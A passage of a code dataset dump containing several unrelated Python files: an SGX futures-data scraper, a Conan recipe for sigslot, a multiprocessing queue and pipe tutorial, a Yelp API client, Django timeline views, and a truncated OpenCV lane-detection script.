"api": [{"api_name": "setuptools.setup", "line_number": 8, "usage_type": "call"}]} {"seq_id": "244539488", "text": "import datetime\nimport os\nimport time\nimport zipfile\n\nimport requests\nimport pandas\nimport numpy\n\nfrom mysql import Update\nimport logging\nimport logging.config\nlogging.config.fileConfig(\"logger.conf\")\nlogger = logging.getLogger(\"example01\")\n\n\n# 5/11更改了开始抓取的日期为5-1\ndef getBetweenDay(begin_date):\n '获取起始时间到今天的所有工作日'\n date_list = []\n begin_date = datetime.datetime.strptime(begin_date, \"%Y-%m-%d\")\n end_date = datetime.datetime.strptime(time.strftime('%Y-%m-%d', time.localtime(time.time())), \"%Y-%m-%d\")\n\n while begin_date <= end_date:\n date_str = begin_date.strftime(\"%Y-%m-%d\")\n try:\n # 字符串转换为规定格式的时间\n tmp = time.strptime(date_str, '%Y-%m-%d')\n\n date_list.append(time.strftime('%Y-%m-%d', tmp))\n except:\n print('日期越界')\n # date_list.append(date_str)\n begin_date += datetime.timedelta(days=1)\n\n return date_list\n\n\ndef start():\n data_list = getBetweenDay('2018-06-08')\n data_str_list = []\n # 替换成需要的格式\n for i in data_list:\n data_str_list.append(i[5:10].replace('-', ''))\n # print(data_str_list)\n # 记录结果\n result = []\n # 拼凑字符串\n start = 5431\n times = 0\n start2 = int(data_str_list[times]) # 时间构成\n a = str(datetime.datetime.today())\n today = a[5:10].replace('-', '')\n # 无限访问url\n while start2 < int(data_str_list[-1]):\n try:\n url = \"http://infopub.sgx.com/Apps?A=COW_Infopubdtstat_Content&B=DailyDataDownload&F=\" + str(\n start) + '&G=' + \\\n data_str_list[times] + \"FUT.zip\"\n except IndexError:\n print('----------OVER!')\n break\n res = requests.get(url,timeout=10)\n with open('a.zip', 'wb')as e:\n e.write(res.content)\n try:\n # 处理压缩文件\n azip = zipfile.ZipFile('a.zip')\n file_name = azip.namelist()[0]\n azip.extractall()\n ab = pandas.read_csv(file_name)\n cd = numpy.array(ab).tolist()\n\n # 结果存起来\n for c in cd:\n if c[1] == 'FEF ':\n d = ['Day', 'swapprice_i', int(c[0]), int(c[0]), float(c[8])]\n result.append(d)\n break\n\n start += 1\n times += 1\n os.remove(file_name)\n except Exception:\n\n times += 1\n fuck = Update(134, result)\n fuck.write_into_mysql()\n\n from check import checks\n checks(134, result).check_data()\n\n\n\nif __name__ == '__main__':\n # 写入mysql\n i = 0\n while i < 3:\n try:\n start()\n i = 5\n except Exception as e:\n if i == 2:\n logging.error(\" \")\n logging.error(\"There is a error in this file\", exc_info=1)\n finally:\n i += 1\n os.remove('a.zip')", "sub_path": "demo134.py", "file_name": "demo134.py", "file_ext": "py", "file_size_in_byte": 2987, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.config.fileConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 22, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 22, "usage_type": "call"}, {"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 28, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 63, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 68, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 83, "usage_type": "call"}, {"api_name": "mysql.Update", "line_number": 87, "usage_type": "call"}, {"api_name": "check.checks", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 104, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 105, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 108, "usage_type": "call"}]} {"seq_id": "464753046", "text": "import os\n\nfrom conans import ConanFile, tools\nfrom conans.errors import ConanInvalidConfiguration\n\n\nclass SigslotConan(ConanFile):\n name = \"sigslot\"\n description = \"Sigslot is a header-only, thread safe implementation of signal-slots for C++.\"\n topics = (\"signal\", \"slot\", \"c++14\", \"header-only\")\n url = \"https://github.com/conan-io/conan-center-index\"\n homepage = \"https://github.com/palacaze/sigslot\"\n license = \"MIT\"\n settings = \"compiler\", \"os\"\n no_copy_source = True\n\n @property\n def _source_subfolder(self):\n return \"source_subfolder\"\n\n def configure(self):\n minimal_cpp_standard = \"14\"\n if self.settings.compiler.cppstd:\n tools.check_min_cppstd(self, minimal_cpp_standard)\n minimal_version = {\n \"gcc\": \"5\",\n \"clang\": \"3.4\",\n \"apple-clang\": \"10\",\n \"Visual Studio\": \"15\" # 14 is not supported by the library\n }\n compiler = str(self.settings.compiler)\n if compiler not in minimal_version:\n self.output.warn(\n \"%s recipe lacks information about the %s compiler standard version support\" % (self.name, compiler))\n self.output.warn(\n \"%s requires a compiler that supports at least C++%s\" % (self.name, minimal_cpp_standard))\n return\n version = tools.Version(self.settings.compiler.version)\n if version < minimal_version[compiler]:\n raise ConanInvalidConfiguration(\"%s requires a compiler that supports at least C++%s\" % (self.name, minimal_cpp_standard))\n\n def source(self):\n tools.get(**self.conan_data[\"sources\"][self.version])\n extracted_dir = \"sigslot-\" + self.version\n os.rename(extracted_dir, self._source_subfolder)\n\n def package(self):\n self.copy(pattern=\"LICENSE\", src=self._source_subfolder, dst=\"licenses\")\n self.copy(pattern=\"signal.hpp\", src=os.path.join(self._source_subfolder, \"include\", \"sigslot\"), dst=os.path.join(\"include\", \"sigslot\"))\n\n def package_id(self):\n self.info.header_only()\n\n def package_info(self):\n self.cpp_info.filenames[\"cmake_find_package\"] = \"PalSigslot\"\n self.cpp_info.filenames[\"cmake_find_package_multi\"] = \"PalSigslot\"\n self.cpp_info.names[\"cmake_find_package\"] = \"Pal\"\n self.cpp_info.names[\"cmake_find_package_multi\"] = \"Pal\"\n\n self.cpp_info.components[\"_sigslot\"].libs = []\n self.cpp_info.components[\"_sigslot\"].names[\"cmake_find_package\"] = \"Sigslot\"\n self.cpp_info.components[\"_sigslot\"].names[\"cmake_find_package_multi\"] = \"Sigslot\"\n\n if self.settings.os == \"Linux\":\n self.cpp_info.components[\"_sigslot\"].system_libs.append(\"pthread\")\n if self.settings.os == \"Windows\":\n if self.settings.compiler in (\"Visual Studio\", \"clang\"):\n self.cpp_info.components[\"_sigslot\"].exelinkflags.append('/OPT:NOICF')\n", "sub_path": "recipes/sigslot/all/conanfile.py", "file_name": "conanfile.py", "file_ext": "py", "file_size_in_byte": 2928, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "conans.ConanFile", "line_number": 7, "usage_type": "name"}, {"api_name": "conans.tools.check_min_cppstd", "line_number": 24, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 24, "usage_type": "name"}, {"api_name": "conans.tools.Version", "line_number": 38, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 38, "usage_type": "name"}, {"api_name": "conans.errors.ConanInvalidConfiguration", "line_number": 40, "usage_type": "call"}, {"api_name": "conans.tools.get", "line_number": 43, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 43, "usage_type": "name"}, {"api_name": "os.rename", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}]} {"seq_id": "505940471", "text": "\"\"\"\n进程间通信: 管道和消息队列,使用消息传递实现的\n\"\"\"\nimport multiprocessing\n\n\"\"\"\n队列:\n Queue([maxsize]) 创建共享的进程队列.maxsize是队列允许的最大项数.省略则无大小限制.底层队列使用管道和锁实\n 现.另外,还需要运行支持线程以便将队列中的数据传输到底层管道当中.\n\n 方法:\n cancel_join_thread() 不会在进程退出时自动链接后台进程.这可以防止join_thread()方法阻塞.\n close() 关闭队列,防止队列中加入更多数据.调用此方法时,后台线程将继续写入那些已入队列但尚未写入的数据.\n 但将在此方法完成时马上关闭.如果队列被垃圾回收,将自动调用此方法.关闭队列不会在队列消费者中产生任何\n 类型是数据结束信号或异常.\n\n empty() 如果队列为空,则返回True.如果其他进程或线程正在往队列中添加项,结果是不可靠的.\n full() 如果队列已满,返回True\n\n get([block,timeout]) 返回队列当中一个项.如果队列为空,此方法将阻塞,直到队列有项可用为止.block用于控\n 制阻塞行为,默认是True,如果设置为False,将引发Queue.Empty异常.timeout是可选的超时时间,用在阻塞模\n 式当中.\n get_nowait() 等价get(False)\n\n join_thread() 连接队列的后台线程.此方法用于在调用close()方法之后,等待所有队列项背心消耗.默认情况下,\n 此方法由不是队列的原始创建者的所有进程调用.调用cancel_join_thread()方法可以禁止此种行为.\n\n put(item,[block,timeout]) 将item放入队列.如果队列已满,此方法将阻塞至有空间可用为止.block控制阻塞行\n 为,默认是True.\n put_nowait(item) 等价于put(item,False)\n\n qsize() 返回当前队列中项的正确数量.此函数的结果并不可靠.\n\n\n JoinableQueue([maxsize]) 创建可连接的共享进程队列.是一个Queue对象,但队列允许项的消费者通知生产者项已经\n 被成功处理.通知进程是使用共享的信号和条件变量实现的.\n 方法:\n task_done() 消费者使用此方法发送信号,表示get()返回的项已经被处理.如果调用此方法的次数大于从队列中删\n 除的项的数量,将引发ValueError\n\n join() 生产者使用此方法进行阻塞,直到队列中是所有项均被处理.阻塞将持续到为每个队列中的项均调用\n task_done()为止.\n\"\"\"\n\n\ndef consumer(input_queue):\n while True:\n item = input_queue.get() # 出队列\n print(item)\n input_queue.task_done() # 通知生产者,当前项已被处理掉\n\n\ndef producer(sequence, output_queue):\n for item in sequence:\n output_queue.put(item)\n\n\n\"\"\"\n核心: 放入队列中的每个项都会被序列化,然后通过管道或套接字连接发送给进程.一般来说,发送数量较少的大对象比发送大\n 量小对象更好.\n\"\"\"\n\n\ndef main():\n \"\"\"\n 生产者: 主进程Main\n 消费者: 新创建的进程consumer_process(后台进程)\n \"\"\"\n queue = multiprocessing.JoinableQueue()\n consumer_process = multiprocessing.Process(target=consumer, args=(queue,))\n consumer_process.daemon = True\n consumer_process.start() # 启动进程\n\n sequence = [1, 2, 3, 4]\n producer(sequence, queue) # 生产者\n queue.join() # 阻塞,保证队列当中的所有项被处理掉\n\n\n\"\"\"\n管道:\n Pipe([duplex]) 在进程之间创建一条管道,并返回元祖(conn1,conn2),其中conn1和conn2是表示管道两端的\n Connection对象.默认情况下,管道是双向的.如果将duplex设置为False,conn1只能用于接收,而conn2只能用于\n 发送.必须在创建和启动使用管道的Process对象之前调用Pipe()方法\n \n Connection方法:\n close() 关闭连接.如果c被回收,将自动调用此方法.\n fileno() 返回连接使用的整数文件描述符\n\n poll([timeout]) 如果连接上的数据可用,返回True.timeout指定等待的最长时间.\n\n recv() 接收send()方法返回的对象.如果连接的另一端已经关闭,再也不存在任何数据,将引发EOFError异常\n recv_bytes([maxlength]) 接收send_bytes()发送的一条完整的字节消息.如果进入的消息超过maxlength,\n 引发IOErro,并且在连接上无法进行进一步读取.\n recv_bytes_into(buffer,[offset]) 接收一条完整的字节消息,并把它保存在buffer对象中,该对象支持可\n 写入的缓存区域接口(即bytearray对象或者类似的对象),offset指定缓存区中放置消息处的字节位移.返\n 回值是收到的字节数.如果消息长度大于可用的缓存区空间,将引发BufferTooShort.\n\n send(obj) obj是与序列化兼容的任意对象\n send_bytes(buffer,[offset,size]) \n\"\"\"\n\n\ndef pipe_consumer(pipe):\n input_conn, output_conn = pipe\n input_conn.close() # 消费者关闭了input端,使用output通信\n while True:\n try:\n item = output_conn.recv()\n except EOFError:\n break\n print(item)\n print(\"Consumer done\")\n\n\ndef pipe_producer(sequence, send_conn):\n for item in sequence:\n send_conn.send(item)\n\n\n\"\"\"\n特别注意管道端点的正确管理问题.如果生产者或消费者中没有使用管道的某个端点,就应该将其关闭.\n管道是由操作系统进行引用计数的,必须在所有进程中关闭管道后才能生成EOFError异常.因此,在生产者中关闭管道不会\n有任何效果,除非消费者也关闭了相同的管道端点.\n\"\"\"\n\n\ndef pipe_main():\n (input_conn, output_conn) = multiprocessing.Pipe()\n consumer_process = multiprocessing.Process(target=pipe_consumer,\n args=((input_conn, output_conn),))\n consumer_process.start()\n\n # 生产者关闭了output端,使用input通信\n output_conn.close()\n sequence = [1, 2, 3, 4]\n pipe_producer(sequence, input_conn)\n input_conn.close() # 很关键,只有生产者关闭了input端,消费者才可能产生产生EOFError\n\n consumer_process.join()\n\n\nif __name__ == '__main__':\n pipe_main()\n", "sub_path": "modules/process/queue_pipe.py", "file_name": "queue_pipe.py", "file_ext": "py", "file_size_in_byte": 6310, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "multiprocessing.JoinableQueue", "line_number": 69, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 70, "usage_type": "call"}, {"api_name": "multiprocessing.Pipe", "line_number": 128, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 129, "usage_type": "call"}]} {"seq_id": "147477804", "text": "from __future__ import print_function\nfrom urllib.parse import quote\nimport requests\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom src import config\n\ncredentials = config.load('auth')\nAPI_KEY=credentials['yelp']\n\n# API constants, you shouldn't have to change these.\nAPI_HOST = 'https://api.yelp.com'\nSEARCH_PATH = '/v3/businesses/search'\nBUSINESS_PATH = '/v3/businesses/' # Business ID will come after slash.\n\n# Defaults for our simple example.\ncached_hours={}\ncached_ids={}\ndef request(host, path, url_params=None):\n \"\"\"Given your API_KEY, send a GET request to the API.\n Args:\n host (str): The domain host of the API.\n path (str): The path of the API after the domain.\n API_KEY (str): Your API Key.\n url_params (dict): An optional set of query parameters in the request.\n Returns:\n dict: The JSON response from the request.\n Raises:\n HTTPError: An error occurs from the HTTP request.\n \"\"\"\n url_params = url_params or {}\n url = '{0}{1}'.format(host, quote(path.encode('utf8')))\n headers = {\n 'Authorization': 'Bearer %s' % API_KEY,\n }\n\n print(u'Querying {0} ...'.format(url))\n\n response = requests.request('GET', url, headers=headers, params=url_params)\n\n return response.json()\n\n\ndef search(term, location, search_limit):\n \"\"\"Query the Search API by a search term and location.\n Args:\n term (str): The search term passed to the API.\n location (str): The search location passed to the API.\n Returns:\n dict: The JSON response from the request.\n \"\"\"\n\n url_params = {\n 'term': term.replace(' ', '+'),\n 'location': location.replace(' ', '+'),\n 'limit': search_limit\n }\n return request(API_HOST, SEARCH_PATH, url_params=url_params)\n\ndef get_business(business_id):\n \"\"\"Query the Business API by a business ID.\n Args:\n business_id (str): The ID of the business to query.\n Returns:\n dict: The JSON response from the request.\n \"\"\"\n business_path = BUSINESS_PATH + business_id\n\n return request(API_HOST, business_path)\n \ndef normalize_hours(response):\n '''\n Original Response structure:\n https://www.yelp.com/developers/documentation/v3/business\n\n return dict where keys is integer enum of weekday,\n values is list of tuples represented open,close times.\n defaults to empty list if no key exists.\n '''\n hours = response['hours'][0]['open']\n normalized_hours = defaultdict(list)\n for hour in hours:\n day = hour['day']\n normalized_hours[day].append(\n (hour['start'],hour['end']))\n return normalized_hours\n\ndef is_open(normalized_hours, arrival_dt):\n day_str = arrival_dt.strftime(\"%w\")\n arrival_time = arrival_dt.strftime(\"%H%M\")\n for (start, end) in normalized_hours[int(day_str)]:\n if start < arrival_time < end:\n return True\n return False\n\n \n\n\n\n ", "sub_path": "src/yelp.py", "file_name": "yelp.py", "file_ext": "py", "file_size_in_byte": 2949, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "src.config.load", "line_number": 8, "usage_type": "call"}, {"api_name": "src.config", "line_number": 8, "usage_type": "name"}, {"api_name": "urllib.parse.quote", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 39, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 81, "usage_type": "call"}]} {"seq_id": "287835040", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom ref import models as ref\nfrom history import models as history\nfrom alerts import models as alerts\nfrom timeline import models as timeline\n\n\n@login_required\ndef home(request):\n \"\"\"\n Vue de la timeline globale.\n \"\"\"\n tl = timeline.Event.objects.order_by('-date')[:10]\n return render(request, r'timeline/index.html', {'timeline':tl})\n\n@login_required\ndef ips(request):\n \"\"\"\n Vue de la timeline des Ips.\n \"\"\"\n class Event(object):\n # Cette classe sert à générer des évènements pour la timeline des Ips qui n'a pas des évènements standards\n def __init__(self, cat, ip, date, ID, title='', description='', comment=''):\n self.cat = cat\n self.ip = ip\n self.date = date\n self.id = ID\n self.title = title\n self.description = description\n self.comment = comment\n # Présence d'un argument POST, l'utilisateur à sélectionné une addresse IP\n if request.POST:\n # On test si l'adresse existe dans la base de référence des addresses IP\n current_ip_ref = ref.Ip.objects.filter(address=request.POST['ip'])\n # Si elle existe\n if current_ip_ref:\n # On récupère dans la table de l'historique des IPs toutes les entrées correspondant à cette IP\n current_ip_history = list(history.Ip.objects.filter(address=current_ip_ref[0].address).select_related('scan').order_by('-id'))\n # On récupère dans la table des alertes toutes les alertes correspondant à cette IP\n current_ip_alerts = list(alerts.Alert.objects.filter(address=current_ip_ref).select_related('address').order_by('-id'))\n # On récupère dans la table des évènements toutes les évènements de type alertack\n events_alertack = list(timeline.Event.objects.filter(event_type='alertack').select_related('user').order_by('-id'))\n # Liste de tout les évènements qui concernent l'IP\n current_ip_events = []\n # On ajoute tout les scan qui ont scanné l'IP dans la liste des évènements\n for ip in current_ip_history:\n current_ip_events.append(Event(cat='scan', ip=ip.address, date=ip.scan.begin_date, ID=ip.scan.id))\n # On ajoute tout les évènements de type alertack qui correspondent à l'IP dans la liste\n for alert in current_ip_alerts:\n alert_name = 'Alerte ' + str(alert.id)\n for event in events_alertack:\n if alert_name in event.description:\n title = event.user.username + \" a corrigé l'alerte \" + str(alert.id)\n current_ip_events.append(Event(cat='alertack', ip=alert.address, date=event.date, ID=event.id, \n title=title, description=event.description, comment=event.comment))\n # On créé la description de l'évènement de type alerte\n description = str(alert.address) + ' (' + alert.protocol.upper() + ' ' + alert.port + ') :\\n'\n if alert.ref_state != alert.detected_state:\n description += \"\"\" Le port est passé de l'état \"{}\" à l'état \"{}\".\"\"\".format(alert.ref_state, alert.detected_state)\n if alert.ref_service != alert.detected_service:\n description += \"\"\" Le service du port a changé (référence : \"{}\", détecté : \"{}\").\"\"\".format(alert.ref_service, alert.detected_service)\n if alert.ref_version != alert.detected_version:\n description += \"\"\" La version du service du port a changé (référence : \"{}\", détecté : \"{}\").\"\"\".format(alert.ref_version, alert.detected_version)\n # On créé l'évènement de type alerte et on l'ajoute à la liste\n current_ip_events.append(Event(cat='alert',ip=alert.address, date=alert.date, \n ID=alert.id, title=alert_name, description=description))\n # On trie la liste selon la date\n current_ip_events.sort(key=lambda x: x.date, reverse=True)\n current_ip_events = current_ip_events[:10]\n return render(request, r'timeline/ips.html', {'events':current_ip_events, 'ip':request.POST['ip'], 'idip':current_ip_ref[0].id})\n # L'addresse IP n'existe pas ou est invalide\n else:\n return render(request, r'blocs/error.html', {'message':\"Cette IP n'existe pas dans la base de données\"})\n # Sinon on affiche le formulaire de sélection d'une addresse IP\n else:\n return render(request, r'timeline/select_ip.html', {})\n\n@login_required\ndef users(request):\n \"\"\"\n Vue de la timeline des utilisateurs.\n \"\"\"\n # Si il y a présence d'un argument POST un utilisateur à été sélectionné\n if request.POST:\n requested_user = User.objects.get(username=request.POST['username'])\n tl = timeline.Event.objects.filter(user=requested_user).order_by('-date')[:10]\n return render(request, r'timeline/users.html', {'timeline':tl, 'iduser':requested_user.id})\n # Sinon on affiche la page de sélection d'un utilisateur\n else:\n users = User.objects.all()\n return render(request, r'timeline/select_user.html', {'users':users})\n\n@login_required\ndef ajax_global(request, startindex):\n \"\"\"\n Vue qui renvoie les 10 évènements suivants startindex de la timeline globale.\n \"\"\"\n si = int(startindex)\n tl = timeline.Event.objects.order_by('-date')[si:si + 10]\n return render(request, r'timeline/ajax_global.html', {'timeline':tl})\n\n@login_required\ndef ajax_ips(request, ipid, startindex):\n \"\"\"\n Vue qui renvoi les 10 évènements suivants startindex d'une IP.\n \"\"\"\n # Cette classe sert à générer des évènements pour la timeline des Ips qui n'a pas des évènements standards\n class Event(object):\n def __init__(self, cat, ip, date, ID, title='', description='', comment=''):\n self.cat = cat\n self.ip = ip\n self.date = date\n self.id = ID\n self.title = title\n self.description = description\n self.comment = comment\n si = int(startindex)\n id_ip = int(ipid)\n requested_ip = ref.Ip.objects.get(id=ipid)\n current_ip_history = list(history.Ip.objects.filter(address=requested_ip.address).select_related('scan').order_by('-id'))\n current_ip_alerts = list(alerts.Alert.objects.filter(address=requested_ip).select_related('address').order_by('-id'))\n events_alertack = list(timeline.Event.objects.filter(event_type='alertack').select_related('user').order_by('-id'))\n current_ip_events = []\n for ip in current_ip_history:\n current_ip_events.append(Event(cat='scan', ip=ip.address, date=ip.scan.begin_date, ID=ip.scan.id))\n for alert in current_ip_alerts:\n alert_name = 'Alerte ' + str(alert.id)\n for event in events_alertack:\n if alert_name in event.description:\n title = event.user.username + \" a corrigé l'alerte \" + str(alert.id)\n current_ip_events.append(Event(cat='alertack', ip=alert.address, date=event.date, ID=event.id, \n title=title, description=event.description, comment=event.comment))\n description = str(alert.address) + ' (' + alert.protocol.upper() + ' ' + alert.port + ') :\\n'\n if alert.ref_state != alert.detected_state:\n description += \"\"\" Le port est passé de l'état \"{}\" à l'état \"{}\".\"\"\".format(alert.ref_state, alert.detected_state)\n if alert.ref_service != alert.detected_service:\n description += \"\"\" Le service du port a changé (référence : \"{}\", détecté : \"{}\").\"\"\".format(alert.ref_service, alert.detected_service)\n if alert.ref_version != alert.detected_version:\n description += \"\"\" La version du service du port a changé (référence : \"{}\", détecté : \"{}\").\"\"\".format(alert.ref_version, alert.detected_version)\n current_ip_events.append(Event(cat='alert',ip=alert.address, date=alert.date, \n ID=alert.id, title=alert_name, description=description))\n current_ip_events.sort(key=lambda x: x.date, reverse=True)\n current_ip_events = current_ip_events[si:si + 10]\n return render(request, r'timeline/ajax_ips.html', {'events':current_ip_events, 'ip':requested_ip.address})\n\n@login_required\ndef ajax_users(request, userid, startindex):\n \"\"\"\n Vue qui renvoi les 10 évènements suivants startindex dun utilisateur.\n \"\"\"\n si = int(startindex)\n id_user = int(userid)\n requested_user = User.objects.get(id=id_user)\n tl = timeline.Event.objects.filter(user=requested_user).order_by('-date')[si:si + 10]\n return render(request, r'timeline/ajax_users.html', {'timeline':tl})\n", "sub_path": "src/timeline/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9058, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "timeline.models.Event.objects.order_by", "line_number": 19, "usage_type": "call"}, {"api_name": "timeline.models.Event", "line_number": 19, "usage_type": "attribute"}, {"api_name": "timeline.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 14, "usage_type": "name"}, {"api_name": "ref.models.Ip.objects.filter", "line_number": 40, "usage_type": "call"}, {"api_name": "ref.models.Ip", "line_number": 40, "usage_type": "attribute"}, {"api_name": "ref.models", "line_number": 40, "usage_type": "name"}, {"api_name": "history.models.Ip.objects.filter", "line_number": 44, "usage_type": "call"}, {"api_name": "history.models.Ip", "line_number": 44, "usage_type": "attribute"}, {"api_name": "history.models", "line_number": 44, "usage_type": "name"}, {"api_name": "alerts.models.Alert.objects.filter", "line_number": 46, "usage_type": "call"}, {"api_name": "alerts.models.Alert", "line_number": 46, "usage_type": "attribute"}, {"api_name": "alerts.models", "line_number": 46, "usage_type": "name"}, {"api_name": "timeline.models.Event.objects.filter", "line_number": 48, "usage_type": "call"}, {"api_name": "timeline.models.Event", "line_number": 48, "usage_type": "attribute"}, {"api_name": "timeline.models", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 76, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 82, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 22, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 91, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 91, "usage_type": "name"}, {"api_name": "timeline.models.Event.objects.filter", "line_number": 92, "usage_type": "call"}, {"api_name": "timeline.models.Event", "line_number": 92, "usage_type": "attribute"}, {"api_name": "timeline.models", "line_number": 92, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 93, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 96, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 96, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 97, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 84, "usage_type": "name"}, {"api_name": "timeline.models.Event.objects.order_by", "line_number": 105, "usage_type": "call"}, {"api_name": "timeline.models.Event", "line_number": 105, "usage_type": "attribute"}, {"api_name": "timeline.models", "line_number": 105, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 106, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 99, "usage_type": "name"}, {"api_name": "ref.models.Ip.objects.get", "line_number": 125, "usage_type": "call"}, {"api_name": "ref.models.Ip", "line_number": 125, "usage_type": "attribute"}, {"api_name": "ref.models", "line_number": 125, "usage_type": "name"}, {"api_name": "history.models.Ip.objects.filter", "line_number": 126, "usage_type": "call"}, {"api_name": "history.models.Ip", "line_number": 126, "usage_type": "attribute"}, {"api_name": "history.models", "line_number": 126, "usage_type": "name"}, {"api_name": "alerts.models.Alert.objects.filter", "line_number": 127, "usage_type": "call"}, {"api_name": "alerts.models.Alert", "line_number": 127, "usage_type": "attribute"}, {"api_name": "alerts.models", "line_number": 127, "usage_type": "name"}, {"api_name": "timeline.models.Event.objects.filter", "line_number": 128, "usage_type": "call"}, {"api_name": "timeline.models.Event", "line_number": 128, "usage_type": "attribute"}, {"api_name": "timeline.models", "line_number": 128, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 150, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 108, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 159, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 159, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 159, "usage_type": "name"}, {"api_name": "timeline.models.Event.objects.filter", "line_number": 160, "usage_type": "call"}, {"api_name": "timeline.models.Event", "line_number": 160, "usage_type": "attribute"}, {"api_name": "timeline.models", "line_number": 160, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 161, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 152, "usage_type": "name"}]} {"seq_id": "406603010", "text": "try:\n sys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages')\nexcept:\n pass\n\nimport cv2\nimport numpy as np\ncap = cv2.VideoCapture(\"/home/abhinav/Desktop/ENPM673/Project2/data/project_video.mp4\")\n\n\nglobal templ\nglobal tempr\ntempl = 0\ntempr = 0\n\ndef window_centers(image,out,window_width,window_height,margin,dst):#templ,tempr):\n left_windows=[]\n right_windows =[]\n w = image.shape[1]\n h = image.shape[0]\n mid = np.int((dst[0][0]+dst[1][0])/2)#np.int(w/2)#\n\n windows = int(h/window_height)\n upper = int(windows/2) +5\n leftHist = np.sum(image[:int(h-upper),:mid],axis=0)\n rightHist = np.sum(image[:int(h-upper),mid:],axis=0)\n cv2.imshow('d',image[:int(h-upper),:mid])\n print(rightHist)\n\n window = np.ones(window_width)\n left = np.argmax(np.convolve(window,leftHist))-int(window_width/2)\n right = np.argmax(np.convolve(window,rightHist))-int(window_width/2) +mid\n left_windows.append(left)\n right_windows.append(right)\n\n print(right)\n\n\n #Search for nonzero pixels in each window\n global templ\n global tempr\n\n for win in range(0,upper):\n level = np.sum(image[(h - (win+1)*window_height):(h - (win)*window_height),:],axis=0)\n conv = np.convolve(window,level)\n\n x_leftMin = int(max((left-margin+window_width/2),0))\n x_leftMax = int(min((left+margin+window_width/2),mid))\n if (np.argmax(conv[x_leftMin:x_leftMax]) > 0):\n l_center = np.argmax(conv[x_leftMin:x_leftMax])+int(x_leftMin-window_width/2)\n templ = np.argmax(conv[x_leftMin:x_leftMax])\n else:\n l_center = templ + int(x_leftMin-window_width/2)\n print(np.argmax(conv[x_leftMin:x_leftMax]))\n\n x_rightMin = int(max((right-margin+window_width/2),mid))\n x_rightMax = int(min((right+margin+window_width/2),w))\n if 